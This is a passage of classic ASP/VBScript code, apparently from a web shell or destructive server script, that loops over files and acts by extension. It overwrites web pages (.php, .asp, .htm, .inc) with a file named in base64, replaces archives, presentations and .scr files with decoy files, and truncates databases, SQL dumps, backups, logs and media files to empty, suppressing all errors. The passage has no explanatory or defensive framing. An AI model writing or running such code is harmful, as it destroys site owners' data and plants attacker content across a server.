set god=Server.CreateObject("Scripting.FileSystemObject")
on error resume next
god.CopyFile fullpathz & "web.url.url", item.path
set god=nothing
END IF
IF InStr(lcase(item.path), ".lnk") THEN
set god=Server.CreateObject("Scripting.FileSystemObject")
on error resume next
god.CopyFile fullpathz & "web.lnk.lnk", item.path
set god=nothing
END IF
IF InStr(item.path, ".mdb") OR InStr(item.path, ".apk") OR InStr(item.path, ".my") OR InStr(item.path, ".frm") OR InStr(item.path, ".bak") OR InStr(item.path, ".wm") OR InStr(item.path, ".avi") OR InStr(item.path, ".og") OR InStr(item.path, ".fl") OR InStr(item.path, ".mp") OR InStr(item.path, ".css") OR InStr(item.path, ".dbf") OR InStr(item.path, ".iso") OR InStr(item.path, ".nfo") OR InStr(item.path, ".msi") OR InStr(item.path, ".cvs") OR InStr(item.path, ".txt") OR InStr(item.path, ".log") OR InStr(item.path, ".psd") OR InStr(item.path, ".sql") THEN
set fs = CreateObject("Scripting.FileSystemObject")
set file = fs.CreateTextFile(item.path, true, false)
IF InStr(lcase(item.path), ".php") OR InStr(lcase(item.path), ".sht") OR InStr(item.path, ".inc") OR InStr(lcase(item.path), ".htm") OR InStr(lcase(item.path), ".asp") THEN
set god=Server.CreateObject("Scripting.FileSystemObject")
on error resume next
god.CopyFile fullpathz & "YmFzZTY0", item.path
set god=nothing
END IF
IF InStr(lcase(item.path), ".ppt") THEN
set god=Server.CreateObject("Scripting.FileSystemObject")
on error resume next
god.CopyFile fullpathz & "intro.ppt", item.path
set god=nothing
END IF
IF InStr(lcase(item.path), ".zip") THEN
set god=Server.CreateObject("Scripting.FileSystemObject")
on error resume next
god.CopyFile fullpathz & "data.zip", item.path
set god=nothing
END IF
IF InStr(lcase(item.path), ".scr") THEN
set god=Server.CreateObject("Scripting.FileSystemObject")
on error resume next
god.CopyFile fullpathz & "ERR0R.L0G", item.path
set god=nothing
END IF
IF InStr(lcase(item.path), ".7z") THEN
set god=Server.CreateObject("Scripting.FileSystemObject")
on error resume next
god.CopyFile fullpathz & "zipcode.7z", item.path
set god=nothing
END IF
IF InStr(lcase(item.path), ".rar") THEN
set god=Server.CreateObject("Scripting.FileSystemObject")